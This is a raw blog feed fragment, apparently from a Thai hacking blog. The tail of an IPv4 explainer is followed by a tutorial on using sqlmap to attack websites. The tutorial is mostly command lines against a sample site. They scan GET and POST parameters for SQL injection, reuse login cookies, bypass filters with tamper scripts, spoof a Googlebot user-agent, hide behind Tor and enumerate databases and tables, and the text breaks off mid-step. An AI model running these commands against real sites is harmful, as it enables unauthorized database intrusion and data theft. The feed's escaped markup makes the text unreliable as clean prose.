ความต้องการใช้งานไอพีแอดเดรสนั้น&amp;nbsp; ไม่ได้จำกัดอยู่เพียงแค่เครื่องคอมพิวเตอร์ที่อยู่ตามบ้านหรือหน่วยงานต่างๆเท่านั้น&amp;nbsp;&amp;nbsp; แต่ปัจจุบันยังมีอุปกรณ์อื่นที่ต้องการใช้ไอพีแอดเดรส&amp;nbsp; เช่น&amp;nbsp;&amp;nbsp; คอมพิวเตอร์แบบพกพา&amp;nbsp; อุปกรณ์สื่อสารในยุค 3G &lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;2. IP (Internet Protocol)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IP เป็นโปรโตคอลในระดับเน็ตเวิร์คเลเยอร์ ทำหน้าที่จัดการเกี่ยวกับแอดเดรสและข้อมูล และควบคุมการส่งข้อมูลบางอย่างที่ใช้ในการหาเส้นทางของแพ็กเก็ต ซึ่งกลไกในการหาเส้นทางของ IP จะมีความสามารถในการหาเส้นทางที่ดีที่สุด และสามารถเปลี่ยนแปลงเส้นทางได้ในระหว่างการส่งข้อมูล และมีระบบการแยกและประกอบดาต้าแกรม (datagram) เพื่อรองรับการส่งข้อมูลระดับ data link ที่มีขนาด MTU (Maximum Transmission Unit) ทีแตกต่างกัน ทำให้สามารถนำ IP ไปใช้บนโปรโตคอลอื่นได้หลากหลาย เช่น Ethernet ,Token Ring หรือ Apple Talk&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; การเชื่อมต่อของ IP เพื่อทำการส่งข้อมูล จะเป็นแบบ connectionless หรือเกิดเส้นทางการเชื่อมต่อในทุกๆครั้งของการส่งข้อมูล 1 ดาต้าแกรม โดยจะไม่ทราบถึงข้อมูลดาต้าแกรมที่ส่งก่อนหน้าหรือส่งตามมา แต่การส่งข้อมูลใน 1 ดาต้าแกรม อาจจะเกิดการส่งได้หลายครั้งในกรณีที่มีการแบ่งข้อมูลออกเป็นส่วนย่อยๆ (fragmentation) และถูกนำไปรวมเป็นดาต้าแกรมเดิมเมื่อถึงปลายทาง&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;2.1 รูปแบบการแบ่งกลุ่ม Address&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ไอพีแอดเดรสของ IPv4 เป็นระบบ 32 บิต&amp;nbsp; หรือสามารถระบุเลขไอพีได้ตั้ง 0.0.0.0 ถึง 255.255.255.255 (ตัวเลขบางตัวเป็นไอพีสงวนไว้สำหรับหน้าที่เฉพาะเช่น 127.0.0.0 จะเป็นการระบุถึงตัวอุปกรณ์เองไม่ว่าอุปกรณ์นั้นจะมีไอพีสื่อสารจริงๆ เป็นเท่าไร) ไอพีแอดเดรสของ IPv4 นั้นจะเขียนโดยใช้เลขฐานสิบจำนวนสี่หลักโดยใช้จุดคั่นระหว่างแต่ละหลัก&amp;nbsp; IPv4&amp;nbsp; ทั้งหมดถูกแบ่งออกเป็น&amp;nbsp; Classชนิดต่างๆ&amp;nbsp; เพื่อจุดประสงค์ในการใช้งานต่างๆกันดังต่อไปนี้&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR2LHKF5NHwutNfjUy7huSJ9Oit4YDOAcBb84MaxGIJRXMZmebrAB9HC0WCBdt9H4nWwCRCUVwxxEGjXAfgbwLwZeG_RsbA40yGZS9kU5elGu9llr0Ch7qRCmdH2c7GotZq52SDzCeAzKI/s1600/Untitled-1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;160&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR2LHKF5NHwutNfjUy7huSJ9Oit4YDOAcBb84MaxGIJRXMZmebrAB9HC0WCBdt9H4nWwCRCUVwxxEGjXAfgbwLwZeG_RsbA40yGZS9kU5elGu9llr0Ch7qRCmdH2c7GotZq52SDzCeAzKI/s400/Untitled-1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot; style=&quot;background-color: white;&quot;&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse; border: none;&quot;&gt;&lt;tbody&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
ตารางที่ 1 IP Address และจำนวนโฮสในแต่ละ Class&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;เครดิต : &lt;a href=&quot;http://nattawadee00.blogspot.com/&quot;&gt;http://nattawadee00.blogspot.com/&lt;/a&gt; &lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/8030250947492189863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/8030250947492189863'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/how-to-ipv4-for-ipv6.html' title='ความแตกต่างระหว่าง IPV4 กับ IPV6'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzP0UbOQrSwSqoNJqZMNtJ7Py3G8-fOnOu69gNVYsxmjie7VyRiDp8nbOCFRCdiEJdI__F0FrzoTyFi7fqsT5RK8E2RCHn1Ew4xI_BLx78rOBZ_ApPzrDhnpRjD0Jg4nZy1DAtN-4_GX4X/s72-c/Untitled-2.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-6176759578756536335</id><published>2013-10-24T11:29:00.001+07:00</published><updated>2013-10-24T11:30:10.195+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="Web"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>วิธีใช้ SQL Map แบบคร่าวๆ</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4BIcwZbdrmdplYQFu_dKfxSUH7O760YcWGUV0KMl10GhTsNKItPPjFANr_hjmPAd7lFWvomufQCPbbnam8PlnSHv45Hi76sZD8D4WXfNi7byj8eRpvSaygS_FdhqmKdNL5EYyoGWZL7y1/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4BIcwZbdrmdplYQFu_dKfxSUH7O760YcWGUV0KMl10GhTsNKItPPjFANr_hjmPAd7lFWvomufQCPbbnam8PlnSHv45Hi76sZD8D4WXfNi7byj8eRpvSaygS_FdhqmKdNL5EYyoGWZL7y1/s320/images.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;วิธีใช้ SQLmap แบบง่ายถึงปานกลางๆ&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;

&lt;br /&gt;
&lt;div class=&quot;post-body entry-content&quot; id=&quot;post-body-7161490700705341888&quot; itemprop=&quot;description articleBody&quot;&gt;
ตัวอย่าง วิธีใช้ sqlmap แบบง่ายๆ ...?&lt;br /&gt;
ซึ่งผมว่า sqlmap.py -h  แล้วอ่านซัก 15 นาทีก็น่าจะเข้าใจวิธีใช้แล้วล่ะ&lt;br /&gt;
(ถ้าจะเอาขั้นสูงๆ มาอีก ก็ sqlmap.py --h แล้วอ่านอีก 30 นาที ก็จะใช้คู่ tor, proxy ได้แระ)&lt;br /&gt;
ซึ่งผมเองก็เพิ่งอ่านเมื่อกี้นี้เอง ..? ก็เลยเอามาเขียนคู่มือสรุปคร่าวๆ ให้ เผื่อใครขี้เกียจอ่าน ^^&quot;&lt;br /&gt;
&lt;br /&gt;
1) แสกนหา ช่องโหว่ SQL injection&lt;br /&gt;
# แบบธรรมดาๆ method GET&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_798166&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&quot;&gt;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&lt;/a&gt;&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบธรรมดาๆ method POST&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_504573&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php&quot;&gt;http://www.stephack.com/index.php&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--data=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug=31337&amp;amp;test=hack_you&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบเจาะจง parameter พิเศษ? (ใช้ marker จุดที่จะ inject ด้วย &lt;span style=&quot;color: blue;&quot;&gt;*&lt;/span&gt;)&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_193445&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index/bug/31337&quot;&gt;http://www.stephack.com/index/bug/31337&lt;/a&gt;*/hack_you&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบเจาะจง parameter พิเศษ? (ใช้ -p)&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_183391&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php&quot;&gt;http://www.stephack.com/index.php&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--data=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug=31337&amp;amp;test=hack_you&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-p &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบที่ต้อง login เข้าไปแฮก (ใช้ cookie)&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_792134&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php&quot;&gt;http://www.stephack.com/index.php&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--data=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug=31337&amp;amp;test=hack_you&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-p &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--cookie=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;cookie1=blabla1;cookie2=blabla2&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบต้องทำ bypass filter (ใช้ script ช่วย)&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_333228&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php&quot;&gt;http://www.stephack.com/index.php&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--data=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug=31337&amp;amp;test=hack_you&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-p &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;bug&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-b --tamper=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;tamper_script1_name.py,tamper_script2_name.py&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบปลอม UserAgent&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_198939&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php&quot;&gt;http://www.stephack.com/index.php&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--user-agent=&lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;Mozilla/5.0 (compatible; Googlebot/2.1; +&lt;a href=&quot;http://www.google.com/bot.html&quot;&gt;http://www.google.com/bot.html&lt;/a&gt;)&quot;&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
# แบบใช้คู่ tor&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_321325&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php&quot;&gt;http://www.stephack.com/index.php&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--tor&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;
2) ดู database ที่ user กำลังเชื่อมต่ออยู่ (--current-db)&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_12447&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&quot;&gt;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--current-db&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;
3) ดู database ทั้งหมด ที่ user นั้นมีสิทธิ์ (--dbs)&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_712224&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&quot;&gt;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;--dbs&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;
4) ดู tables ทั้งหมด ใน &amp;lt;DATABASE&amp;gt; ที่กำหนด&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_304496&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&quot;&gt;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-D DATABASE --tables&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;
5) ดู columns ทั้งหมด ใน &amp;lt;TABLE&amp;gt; ที่กำหนด&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_387548&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
